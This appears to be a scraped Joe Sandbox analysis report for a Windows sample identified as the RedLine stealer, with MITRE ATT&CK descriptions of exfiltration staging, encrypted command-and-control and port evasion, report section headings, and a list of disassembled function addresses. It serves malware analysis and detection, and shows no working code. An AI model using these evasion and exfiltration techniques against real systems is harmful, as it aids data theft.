Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report hy4iXHZVJ4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: RedLine

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\vbc.exe.log

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

Statistics

Windows Analysis Report
hy4iXHZVJ4.exe

Function 004013C9 Relevance: 13.6, APIs: 9, Instructions: 113
stringCOMMON

Function 0040119B Relevance: 10.6, APIs: 7, Instructions: 115
stringCOMMON

Function 0042F510 Relevance: 3.4, APIs: 1, Strings: 1, Instructions: 442
COMMON

Function 00448B90 Relevance: 1.4, APIs: 1, Instructions: 116
COMMON

Function 00401734 Relevance: 14.3, APIs: 1, Strings: 7, Instructions: 306
memoryCOMMON

Function 0040125C Relevance: 7.6, APIs: 5, Instructions: 91
stringCOMMON

Function 00401299 Relevance: 7.6, APIs: 5, Instructions: 80
stringCOMMON

Function 00401289 Relevance: 7.6, APIs: 5, Instructions: 77
stringCOMMON

Function 00402B30 Relevance: 3.1, APIs: 2, Instructions: 59
threadCOMMON

Function 00448D60 Relevance: 1.5, APIs: 1, Instructions: 24
COMMON

Function 00438A90 Relevance: 1.5, APIs: 1, Instructions: 8
COMMON

Function 004C1230 Relevance: 1.3, APIs: 1, Instructions: 31
stringCOMMON

Function 00437048 Relevance: 12.3, APIs: 3, Strings: 5, Instructions: 328
stringCOMMONCrypto

Function 004414D0 Relevance: 1.5, Strings: 1, Instructions: 211
COMMONCrypto

Function 0043A080 Relevance: 21.1, APIs: 14, Instructions: 67
COMMON

Function 0043A100 Relevance: 21.0, APIs: 14, Instructions: 34
COMMON

Function 0043A150 Relevance: 21.0, APIs: 14, Instructions: 33
COMMON

Function 0043A185 Relevance: 21.0, APIs: 14, Instructions: 30
COMMON

Function 0043A660 Relevance: 18.1, APIs: 12, Instructions: 83
COMMON

Function 0043E230 Relevance: 9.2, APIs: 6, Instructions: 221
COMMON

Function 0043B0B0 Relevance: 9.1, APIs: 6, Instructions: 59
COMMON

Function 004342F0 Relevance: 7.8, APIs: 4, Strings: 1, Instructions: 263
stringCOMMON

Function 00437409 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 94
stringCOMMON

Function 0043B150 Relevance: 7.6, APIs: 5, Instructions: 65
COMMON

Function 0043E605 Relevance: 7.5, APIs: 5, Instructions: 48
COMMON

Function 00436490 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 253
COMMON

Function 0043E550 Relevance: 6.1, APIs: 4, Instructions: 58
COMMON